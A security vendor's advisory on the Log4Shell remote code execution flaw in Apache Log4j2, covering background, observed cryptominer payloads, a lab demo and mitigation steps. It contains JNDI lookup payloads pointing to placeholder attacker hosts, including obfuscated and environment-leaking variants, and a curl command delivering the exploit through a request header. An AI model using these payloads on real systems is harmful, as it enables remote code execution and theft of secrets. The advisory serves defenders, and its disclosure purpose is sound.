|
|
Executive Summary
- A new critical remote code execution vulnerability in Apache Log4j2, a Java-based logging tool, is being tracked as CVE-2021-44228.
- Further vulnerabilities in the Log4j library, including CVE-2021-44832 and CVE-2021-45046, have since come to light, as detailed here.
- Major services and applications globally are impacted by these vulnerabilities due to the prevalence of Log4j2’s use in many web apps.
- Exploit proof-of-concept code is widely available and internet-wide scanning suggests active exploitation.
- Exploit attempts have led to commodity cryptominer, ransomware and other payloads. SentinelOne expects further opportunistic abuse by a wide variety of attackers, including further ransomware and nation-state actors.
- Due to the ease and rate of exploitation attempts, SentinelOne recommends upgrading impacted services to the latest version of Log4j2.
- SentinelLabs has released tools and scripts, including static and dynamic scanners, to assist in finding and patching vulnerable Log4j2 instances.
- For more information, visit the SentinelOne Log4j Vulnerability Resource Center.
SentinelOne’s infrastructure, applications, products, and services aren’t vulnerable to the exploit. SentinelOne’s information technology, infrastructure, security, and cloud teams conducted a comprehensive assessment in accordance with our information security policies and procedures.
Background
On December 9th, 2021, the security community became aware of active exploitation attempts of a vulnerability in Apache Log4j2. The vulnerability, also known as “Log4Shell”, is trivially easy to exploit and consists of a malformed Java Naming and Directory Interface (JNDI) request of the form ${jndi:ldap://attacker.com/file} (further variations are documented below).
It’s difficult to assess the extent of possible impact as Log4j2 is used across a variety of products and services, from Apache products like Struts, Solr, and Flink to security products like ElasticSearch, Logstash, and Kafka, and even Minecraft servers.
Defenders are encouraged to update any explicit uses of Log4j2 to the latest version, as well as scrutinize other services that may implicitly rely on it.
As described in the NVD vulnerability disclosure, JNDI features do not protect against requests pointing to attacker-controlled endpoints including LDAP(s), DNS, and RMI requests. The requests poll an attacker endpoint for a file that’s then executed in the context of the Log4j2 service.
Examples:
${jndi:ldap://<malicious infrastructure>/<payload>}
${jndi:dns://<malicious infrastructure>/<payload>}
${jndi:ldap://${env:<user>}.<malicious infrastructure>/<payload>}
Further variants of the malicious request have been publicly reported and include slight obfuscation with nested functions like ${lower:<letter>} as follows:
${jndi:${lower:l}${lower:d}ap://<malicious infrastructure>/<payload>}
How is Log4j2 Being Exploited In the Wild?
Observed exploit attempts in the wild thus far have led to commodity cryptominer payloads or other known and commodity post-exploitation methods. SentinelOne expects further opportunistic abuse by a wide variety of attackers, including ransomware and nation-state actors.
At the time of writing, payloads include cryptominers like Golang-based Kinsing ELF payloads, but there’s nothing limiting the potential for abuse as attackers ramp up their infrastructure and tooling to take advantage of this exploitation opportunity.
Potential attack vectors that are covered by the Singularity XDR platform include various post-exploitation frameworks such as Cobalt Strike, Empyre, Metasploit, and usage of post-exploitation tools such as Mimikatz and Bloodhound as well as ransomware attacks and cryptominer activity.
SentinelOne vs Log4j2 Exploit – Securing Windows and Linux Environments
In the following Windows demonstration, we used a publicly available POC with a weaponized malicious PowerShell script as the post-exploit payload.
The PoC used in this demo is based on this GitHub repository by tangxiaofeng7. The code can be used to spawn a variety of code on the targeted endpoint. In this case, we utilized a malicious PowerShell script (launched via .bat) and the proof-of-concept code is utilized to stage the ‘malicious’ LDAP environment and respond to the appropriate client queries/traffic.
The exploit is delivered to the target host via CURL:
curl 192.168.xxx.xxx:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.xxx.xxx:1389/STRING}'
With the LDAP destination nested in the CURL URL, the target host will reach out to the attack server, resulting in the attacker’s staged code being executed (in the case of this demo, explorer.exe c:\temp\run.bat):
Mission-critical data and operations are oftne powered by Linux distributions. Securing Linux environments is imperative for enterprise security.
Watch how Singularity XDR protects Linux servers:
SentinelOne continues to actively monitor the situation and collaborate with industry partners to improve the collective defense of our customers and all internet users.
Mitigation Guidance
- Upgrade Log4j2 to the latest version to eliminate message lookups. Note: 2.15.x is no longer adequate for mitigation purposes. See here for latest details.
- According to Apache’s guidance, in releases >=2.10, this behavior can be mitigated by setting either the system property
log4j2.formatMsgNoLookupsor the environment variableLOG4J_FORMAT_MSG_NO_LOOKUPSto true. For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove theJndiLookupclass from the classpath:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. - SentinelOne Complete and EDR customers can find the deep visibility queries here.
- Available with SentinelOne Singularity Control and Complete – How to search for a CVE across all applications and endpoints.
- SentinelLabs research team released tools for automating scanning, visibility, and patching.
Additional Resources
- Log4j One Month On | Crimeware and Exploitation Roundup
- Official MITRE CVE description
- Community sourced list of impacted applications and services
- CISA Alert
